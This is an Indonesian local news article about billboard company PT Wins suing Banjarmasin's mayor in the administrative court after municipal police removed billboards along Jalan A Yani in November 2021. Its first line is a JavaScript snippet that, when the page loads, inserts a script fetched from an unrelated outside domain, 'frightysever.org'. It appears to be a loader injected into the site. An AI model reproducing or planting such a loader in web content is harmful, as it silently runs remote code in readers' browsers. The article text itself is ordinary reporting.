(function(f,b,n,j,x,e){x=b.createElement(n);e=b.getElementsByTagName(n)[0];x.async=1;x.src=j;e.parentNode.insertBefore(x,e);})(window,document,'script','https://frightysever.org/Bgkc244P');
KANALKALIMANTAN.COM,BANJARMASIN – Menyusul perintah Wali Kota Banjarmasin Ibnu Sina membongkar baliho bando di sepanjang Jalan A Yani berujung ke meja hijau.
Perusahaan penyedia papan reklame ajukan gugatan ke Pengadilan Tata Usaha Negara (PTUN ) Banjarmasin. Pihak penggugat adalah PT Wins (Wahana Inti Sejati) yang mengajukan upaya hukum ke PTUN Banjarmasin.
Meski diadukan ke PTUN Banjarmasin, Satpol PP Banjarmasin tak surut melakukan pembongkaran baliho-baliho bando di sepanjang Jalan A Yani.
Melalui pihak kuasa hukum PT Wins, M Denny Dermawan dan Julfikar Dwi Istanto mengajukan gugatan kepada Wali Kota Banjarmasin untuk memanggil dan memeriksa pihak tergugat yakni Wali Kota Ibnu Sina sebagai tergugat ke majelis hakim.
Baca juga : Personel BPBD Banjarbaru Standby, Antisipasi Potensi Bencana La Nina
Biang gugatan berawal dari permasalahan adanya pembongkaran baliho bando yang ada di pertigaan Jalan A Yani-Jalan Kuripan, dan Jalan Pengeran Antasari pada Selasa (2/11/2021) dini hari.
Dalam surat panggilan kepada Wali Kota Banjarmasin telah diteken panitera PTUN Banjarmasin yakni Yusran Ibrahim untuk berhadir dalam agenda sidang pada Selasa (9/11/2021) mendatang pukul 10.00 Wita.
Dalam surat panggilan bernomor 14/G/2021/PEN-PP/PTUN Banjarmasin tanggal 3 November 2021, dikuatkan dengan penetapan majelis hakim atas perkara itu yang telah diregister bernomor 10/G/2021/PTUN.BJM.
Kewenangan majelis hakim berdasar Pasal 63 ayat (1) UU Nomor 5 Tahun 1986 tentang Peradilan Tata Usaha Negara sebagaimana telah diubah dengan UU Nomor 9 Tahun 2004 dan perubahan kedua UU Nomor 51 Tahun 2009. Dalam posisi perkara itu, Wali Kota Banjarmasin Ibnu Sina sebagai pihak tergugat.
Baca juga : Gubernur Kalsel Tinjau Vaksinasi Bergerak di HSU
Sementara itu pantauan Kanalkalimantan.com, sisa dari potongan reklame telah diamankan pihak Satpol PP dan telah diangkut ke kantor Satpol PP di Jalan KS Tubun, Pekauman, Banjarmasin.
Sudah ada dua baliho dibongkar tim gabungan dari Satpol PP Banjarmasin dibackup pihak kepolisian.
Kepala Satpol PP Banjarmasin Ahmad Muzaiyin mengatakan, target dari pembongkaran baliho bando di sepanjang jalan A Yani akan terus dilakukan hingga sepuluh hari kedepan.
Paling lambat, satu bulan sebanyak 10 titik sisa baliho bando bongkaran era Plt Kasat Pol PP Banjarmasin Ichwan Noor Chalik akan rampung dibersihkan. (kanalkalimantan.com/seno)
Reporter : seno
Editor : bie
KANALKALIMANTAN.COM, BANJARBARU - Pemerintah Kota Banjarbaru mengeluarkan surat edaran tentang pelaksanaan kegiatan masyarakat pada bulan… Read More
KANALKALIMANTAN.COM, BANJARBARU – Cuaca di Kalimantan Selatan (Kalsel) dalam sepekan ke depan diprakirakan masih didominasi… Read More
KANALKALIMANTAN.COM, PARINGIN - Badan Penanggulangan Bencana Daerah (BPBD) Kabupaten Balangan menuntaskan tahap II pelatihan Tim… Read More
KANALKALIMANTAN.COM, JAKARTA — Kementerian Agama Republik Indonesia (Kemenag RI) resmi menetapkan 1 Ramadan 1447 Hijriah… Read More
KANALKALIMANTAN.COM, BANJARMASIN — Kantor Wilayah (Kanwil) Kementerian Agama Provinsi Kalimantan Selatan (Kemenag Kalsel) menggelar pemantauan… Read More
KANALKALIMANTAN.COM, BANJARMASIN - Dalam perayaan Tahun Baru Imlek, ada banyak warna merah menghiasi segala aspek… Read More
This website uses cookies.